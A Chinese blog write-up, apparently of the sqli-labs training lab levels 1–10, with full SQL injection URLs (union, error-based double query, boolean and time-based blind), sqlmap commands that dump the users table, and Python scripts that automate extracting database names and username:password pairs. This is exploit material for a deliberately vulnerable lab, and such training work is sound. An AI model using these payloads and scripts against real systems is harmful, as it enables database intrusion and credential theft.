sqli-labs(1-10)

Less-1

手工注入

相关知识

在mysql数据库中,单行注释有#--,在实际操作中#号一般用%23来表示。而--则用--+来表示。因为在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,而用--+代替--,原因是+在URL被URL编码后会变成空格。
与数据库相关内容
1.根据题目提示,输入http://web-labs.rinue.top/sqli-labs/Less-1/?id=1回显正常
在这里插入图片描述
2.加个单引号看看,http://web-labs.rinue.top/sqli-labs/Less-1/?id=1%27显示出错,别以为没啥用,错误提示对web端透明,而且数据库为Mysql
在这里插入图片描述
3.通过http://web-labs.rinue.top/sqli-labs/Less-1/?id=1%27and%20%271%27=%271http://web-labs.rinue.top/sqli-labs/Less-1/?id=1--+回显正常可知,为单引号字符注入
在这里插入图片描述
4.开始构造语句,使用order by 查列数,order by语法为:ORDER BY column1 [ASC|DESC], column2 [ASC|DESC],... 此处以数字1,2,3…指定以某一列为key进行排序,通过尝试得出列数,得出列数为3。

  • order by 3时,回显正常
    在这里插入图片描述
  • order by 4,回显错误
    在这里插入图片描述
    5.开始使用union查询,通过回显爆出用户名,密码等字段,还有所有表名,数据库名
    6.爆数据库名:http://web-labs.rinue.top/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata--+
    在这里插入图片描述
    7.爆当前数据库security的所有表:http://web-labs.rinue.top/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
    在这里插入图片描述
    8.爆users表的所有表列:http://web-labs.rinue.top/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+
    在这里插入图片描述
    9.爆username,password:http://web-labs.rinue.top/sqli-labs/Less-1/?id=-1%27union%20select%201,group_concat(username),group_concat(password)%20from%20security.users--+
    在这里插入图片描述

sqlmap注入

相关的sqlmap参数
11种常见sqlmap使用方法
1.各参数见上述链接,指定相关参数,如注入类型,数据库类型等
得到相关信息,py -2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-1/?id=1 --technique UE --dbms mysql --batch
在这里插入图片描述
2.爆数据库名py -2 sqlmap.py -u http://web-labs.rinue.top/sqli-labs/Less-1/?id=1 -dbs
在这里插入图片描述
3.爆当前库security的所有表py -2 sqlmap.py -u http://web-labs.rinue.top/sqli-labs/Less-1/?id=1 -D security -tables
在这里插入图片描述
4.爆users表的字段py -2 sqlmap.py -u http://web-labs.rinue.top/sqli-labs/Less-1/?id=1 -T users -columns
在这里插入图片描述
5.爆password,username字段py -2 sqlmap.py -u http://web-labs.rinue.top/sqli-labs/Less-1/?id=1 -dump -C username password -T users -D security
在这里插入图片描述

Less-2

1,首先http://web-labs.rinue.top/sqli-labs/Less-2/?id=1,正常
在这里插入图片描述
2.加单引号出错http://web-labs.rinue.top/sqli-labs/Less-2/?id=1'
在这里插入图片描述
3.有错误提示可知为单引号引起错误,为数字型注入
4.直接在id后面写sql语句,步骤同Less-1

Less-3

1.首先http://web-labs.rinue.top/sqli-labs/Less-3/?id=1,正常
2.加单引号错误http://web-labs.rinue.top/sqli-labs/Less-3/?id=1'
在这里插入图片描述
3.由错误提示可构造http://web-labs.rinue.top/sqli-labs/Less-3/?id=1%27)--+,回显正常,接下来步骤同Less-1
在这里插入图片描述

Less-4

1.首先http://web-labs.rinue.top/sqli-labs/Less-4/?id=1,回显正常
在这里插入图片描述
2.加单引号http://web-labs.rinue.top/sqli-labs/Less-4/?id=1',正常
在这里插入图片描述
3.加双引号出错http://web-labs.rinue.top/sqli-labs/Less-4/?id=1"
在这里插入图片描述
4.由错误提示可构造http://web-labs.rinue.top/sqli-labs/Less-4/?id=1%22)--+,回显正常
在这里插入图片描述
5.其余步骤同Less-1

Less-5

1.首先http://web-labs.rinue.top/sqli-labs/Less-5/?id=1,回显正常
在这里插入图片描述
2.加单引号http://web-labs.rinue.top/sqli-labs/Less-5/?id=1',出错
在这里插入图片描述
3.根据错误提示,可知由单引号引起错误,故可根据错误提示构造http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27--+,回显正常
在这里插入图片描述
4.综上可知该注入为报错型盲注,报错型盲注有很多方法爆库等,比如时间延迟型盲注,布尔型盲注,该处使用双查询注入双查询注入相关知识
5.构造http://127.0.0.1/sqli-labs/Less-5/?id=1%27and%20(select%201%20from%20(select%20count(*),concat((select%20group_concat(schema_name)from%20information_schema.schemata),floor(rand()*2))as%20x%20from%20information_schema.tables%20group%20by%20x)as%20a)--+(此处换我自己的靶场了),回显错误
在这里插入图片描述
提示信息显示输出查询大于1行,这里说明数据库名的字符串长度大于64位(group_concat()函数最大长度为64位),所以舍弃group_concat()函数,改用limit n,1逐个输出。
5.重新构造爆库http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27and(select%201%20from(select%20count(*),concat((select%20schema_name%20from%20information_schema.schemata%20limit%200,1),floor(rand()*2))as%20x%20from%20information_schema.tables%20group%20by%20x)as%20a)--+(妈的,自己的靶场又崩了),爆出了一个库名
在这里插入图片描述
6.写了个脚本爆出了所有库名
脚本(回显正常时为终止条件)

import requests
for i in range(15):
    result=[]
    r=[]
    r1=[]
    re=''
    url='http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27and%20(select%201%20from%20(select%20count(*),concat((select%20schema_name%20from%20information_schema.schemata%20limit%20'+str(i)+',1),floor%20(rand()*2))%20as%20x%20from%20security.users%20group%20by%20x)%20as%20a)--+'
    re=requests.get(url=url)
    rr=re.text
    r=rr.split('color="#FFFF00">')
    result=r[2].split('</br>')
    r1=r[2].split('<br>')
    if r1[0]=='You are in...........':
        break
    print(result[0])

结果(去掉末尾的0和1)
在这里插入图片描述
7.构造sql语句爆当前数据库security的表http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27and(select%201%20from(select%20count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),floor(rand()*2))as%20x%20from%20information_schema.tables%20group%20by%20x)as%20a)--+
在这里插入图片描述
8.接着写脚本爆所有表名

import requests
for i in range(15):
    result=[]
    r=[]
    r1=[]
    re=''
    url='http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27and%20(select%201%20from%20(select%20count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema='+"'security'"+'%20limit%20'+str(i)+',1),floor%20(rand()*2))%20as%20x%20from%20security.users%20group%20by%20x)%20as%20a)--+'
    re=requests.get(url=url)
    rr=re.text
    r=rr.split('color="#FFFF00">')
    result=r[2].split('</br>')
    r1=r[2].split('<br>')
    if r1[0]=='You are in...........':
        break
    print(result[0])

所有表名
在这里插入图片描述
9.接着爆users表的表列,构造http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27and(select%201%20from(select%20count(*),concat((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),floor(rand()*2))as%20x%20from%20information_schema.tables%20group%20by%20x)as%20a)--+
在这里插入图片描述
10.写脚本爆所有表列

import requests
for i in range(15):
    result=[]
    r=[]
    r1=[]
    re=''
    url='http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27and%20(select%201%20from%20(select%20count(*),concat((select%20column_name%20from%20information_schema.columns%20where%20table_name='+"'users'"+'%20limit%20'+str(i)+',1),floor%20(rand()*2))%20as%20x%20from%20security.users%20group%20by%20x)%20as%20a)--+'
    re=requests.get(url=url)
    rr=re.text
    r=rr.split('color="#FFFF00">')
    result=r[2].split('</br>')
    r1=r[2].split('<br>')
    if r1[0]=='You are in...........':
        break
    print(result[0])

结果
在这里插入图片描述
11.最后构造http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27and(select%201%20from(select%20count(*),concat((select%20concat(username,%27:%27,password)from%20security.users%20limit%200,1),floor(rand()*2))as%20x%20from%20information_schema.tables%20group%20by%20x)as%20a)--+username,password
在这里插入图片描述
再写个脚本,爆出所有字段

import requests
for i in range(15):
    result=[]
    r=[]
    r1=[]
    re=''
    url='http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27and%20(select%201%20from%20(select%20count(*),concat((select concat(username,":",password)from security.users%20limit%20'+str(i)+',1),floor%20(rand()*2))%20as%20x%20from%20security.users%20group%20by%20x)%20as%20a)--+'
    re=requests.get(url=url)
    rr=re.text
    r=rr.split('color="#FFFF00">')
    result=r[2].split('</br>')
    r1=r[2].split('<br>')
    if r1[0]=='You are in...........':
        break
    print(result[0])

结果太多了,脚本跑太久就给这么多吧
在这里插入图片描述

Less-6

手工注入

1.首先http://127.0.0.1/sqlilabs/Less-6/?id=1,回显正常(这tm我的靶场又弄好了)
在这里插入图片描述
2.加单引号也正常,加双引号报错
在这里插入图片描述
3.由错误提示可构造http://127.0.0.1/sqlilabs/Less-6/?id=1%22--+,回显正常。。。
4.。。。。。。。跟Less-6一样了

sqlmap

1.先判断是什么注入类型
1)判断布尔型盲注 ?id=1’ and 1=1 --+ , ?id=1' and 2=1 --+
2)判断时间延迟型注入?id=1'and sleep(5)--+
再根据回显进行判断
2.这里两者都可以,笔者采用布尔型报错注入,构造语句爆库py -2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-6/?id=1" --technique B --dbs --dbms mysql --batch -v 0
结果:
在这里插入图片描述
3.构造语句爆security库的所有表,py -2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-6/?id=1" --technique B -D security -t --batch -v 0
结果:
在这里插入图片描述
4.构造语句爆users表所有表列py -2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-6/?id=1" --technique B -D security -T users -columns --batch -v 0
结果:
在这里插入图片描述
5.构造语句爆users表所有字段py -2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-6/?id=1" --technique B -D security -T users -dump --batch -v 0
结果:
在这里插入图片描述
上述构造的相关参数说明:
其中的—technique是为sqlmap中的注入技术,在sqlmap中其支持5中不同模式的注入
B:Boolean-based-blind (布尔型型注入)
E:Error-based(报错型注入)
U:Union query-based(联合注入)
S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
T:Time-based blind (基于时间延迟注入)
我们可以根据不同的报错提示更改—technique后面的字母
其中的—dbms: 不仅可以指定数据库类型,还可以指定数据库版本
–batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
-v 0参数只是为了更好的截图.

Less-7

手工注入

又是tm环境问题,导致我手工注入失败(这个失败的意思不是爆不出库),但是收获是真的多啊,但是聪明的我用sqlmap也把他跑出来,🤭进入正题吧
1.首先构造http://127.0.0.1/sqlilabs/Less-7/?id=1,回显正常
在这里插入图片描述
2.加单/双引号,单括号,单引号+单括号都正常,单引号+双括号异常(真正的盲注来了,错误提示啥球用没有)
在这里插入图片描述
3.接下来靠经验了(其实就tm瞎猜),构造http://127.0.0.1/sqlilabs/Less-7/?id=1%27))--+,恢复正常了
在这里插入图片描述
4.根据提示使用outfile,这tm啥,百度,哦,知道了,知道有屁用。。。还是不会,,,看大佬的writeup吧,,,,淦,writeup第一步就懵了,为啥(select count(*) from mysql.user)>0就能判断有读写权限???
百度啊。。。先了解了mysql.user是个啥,这篇文字写得真好,get!!!,再来看看why,,,百度了好多,发现大家说根据上面那个判断读写权限是错误的,我怀疑那些人都抄的,或者压根不懂,上大佬文章(select count(*) from mysql.user)>0 只能说明用户有读权限,不能说它有写权限,为何强调写权限,这就是outfile()函数的要求了,来看大佬文章,懂了吧。哪怎么判断有无写权限嘞? easy,你尝试写一些内容再去看写到目的文件里面没有不就好了吗,而这个就是那些说根据(select count(*) from mysql.user)>0就能判断有读写权限的人写的writeup,这篇writeup是写的比较全面的,因为它解释了两个大部分人会遇到的问题:web如何查看完整文件路径(查看它是因为outfile()函数的要求),secure-file-priv问题 (这个自己看,看了就懂为啥),我说收获多吧,哈哈哈,还有一点和outfile函数有关的东西,,,接着就找着我上面给的writeup做就好了。

sqlmap注入

手工多麻烦,sqlmap两下搞定。。。
1.由Less-6的判断方法判断出了存在布尔/时间延迟型盲注,此处笔者采用时间延迟型,相关参数见Less-6
2.爆库py -2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-7/?id=1" --technique T -dbs --batch -v 0
结果:
在这里插入图片描述
3.接下来爆表,爆列换一下参数就好了

Less-8

1.首先http://127.0.0.1/sqlilabs/Less-8/?id=1,回显正常
2.加单引号啥也没有了,加'--+恢复正常
在这里插入图片描述
3.考虑布尔型注入,构造http://127.0.0.1/sqlilabs/Less-8/?id=1'and '1'='1'--+回显正常,http://127.0.0.1/sqlilabs/Less-8/?id=1'and '1'='2'--+,回显啥也没有。说明存在布尔型注入
4.使用sqlmap解决

Less-9

1.首先http://127.0.0.1/sqlilabs/Less-9/?id=1,回显正常
2.加',",(的一系列组合页面都一个样
在这里插入图片描述
没有报错,不知道输入正确与否,不同与Less-8,输入合法则是“You are in…”,非法输入时页面啥也没有了,可以根据这个特点去跑盲注,判断输入字符是否匹配正确。而在这关输入正确与否,页面都是一串固定的字符串,所以不能靠返回内容判断匹配结果,这里就要用到sleep()延时函数了。
3.废话不多说看操作,先构造http://127.0.0.1/sqlilabs/Less-9/?id=1%27and%20sleep(5)--+,ok,果然是时间延迟盲注,页面延迟了5秒
在这里插入图片描述
4.判断了类型,直接用sqlmap了,okk

Less-10

本关同Less-9一样的,都是时间延迟型盲注,只是闭合方式为"--+,其他都一样了。
GET篇通关

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值